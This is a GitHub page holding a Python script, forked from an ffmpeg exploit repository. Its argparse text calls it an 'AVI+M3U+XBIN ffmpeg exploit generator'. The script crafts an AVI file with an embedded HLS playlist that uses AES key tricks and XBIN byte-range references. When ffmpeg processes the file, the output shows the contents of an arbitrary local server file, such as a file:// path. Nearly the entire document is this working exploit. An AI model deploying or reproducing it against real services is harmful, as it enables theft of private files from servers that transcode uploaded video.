forked from neex/ffmpeg-avi-m3u-xbin
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgen_xbin_avi.py
executable file
·150 lines (119 loc) · 4.83 KB
/
gen_xbin_avi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python3
import struct
import argparse
import random
import string
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
ECHO_TEMPLATE = """### echoing {needed!r}
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
"""
# AES.new('\x00'*16).decrypt('\x00'*16)
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
FULL_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
{content}
#### random string to prevent caching: {rand}
#EXT-X-ENDLIST"""
EXTERNAL_REFERENCE_PLAYLIST = """
#### External reference: reading {size} bytes from {filename} (offset {offset})
#EXTINF:1,
#EXT-X-BYTERANGE: {size}@{offset}
{filename}
"""
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
def echo_block(block):
assert len(block) == 16
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
return ECHO_TEMPLATE.format(needed=block, iv=iv)
def gen_xbin_sync():
seq = []
for i in range(60):
if i % 2:
seq.append(0)
else:
seq.append(128 + 64 - i - 1)
for i in range(4, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
for i in range(12, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
return seq
def test_xbin_sync(seq):
for start_ind in range(64):
path = [start_ind]
cur_ind = start_ind
while cur_ind < len(seq):
if seq[cur_ind] == 0:
cur_ind += 3
else:
assert seq[cur_ind] & (64 + 128) == 128
cur_ind += (seq[cur_ind] & 63) + 3
path.append(cur_ind)
assert cur_ind == len(seq), "problem for path {}".format(path)
def echo_seq(s):
assert len(s) % 16 == 0
res = []
for i in range(0, len(s), 16):
res.append(echo_block(s[i:i + 16]))
return ''.join(res)
test_xbin_sync(gen_xbin_sync())
SYNC = echo_seq(gen_xbin_sync())
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I',
fake_packet_len) + b'\x00' * fake_packet_len
return AVI_HEADER + packet + dcpkt * fake_packets
def gen_xbin_packet_header(size):
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
def gen_xbin_packet_playlist(filename, offset, packet_size):
result = []
while packet_size > 0:
packet_size -= 16
assert packet_size > 0
part_size = min(packet_size, 64)
packet_size -= part_size
result.append(echo_block(gen_xbin_packet_header(part_size)))
result.append(
EXTERNAL_REFERENCE_PLAYLIST.format(
size=part_size,
offset=offset,
filename=filename))
offset += part_size
return ''.join(result), offset
def gen_xbin_playlist(filename_to_read):
pls = [echo_block(XBIN_HEADER)]
next_delta = 5
for max_offs, filename in (
(5000, filename_to_read), (500, "file:///dev/zero")):
offset = 0
while offset < max_offs:
for _ in range(10):
pls_part, new_offset = gen_xbin_packet_playlist(
filename, offset, 0xf0 - next_delta)
pls.append(pls_part)
next_delta = 0
offset = new_offset
pls.append(SYNC)
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
random.choice(string.ascii_lowercase) for i in range(30)))
if __name__ == "__main__":
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
parser.add_argument(
'filename',
help='filename to be read from the server (prefix it with "file://")')
parser.add_argument('output_avi', help='where to save the avi')
args = parser.parse_args()
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
content = gen_xbin_playlist(args.filename)
avi = make_playlist_avi(content)
output_name = args.output_avi
with open(output_name, 'wb') as f:
f.write(avi)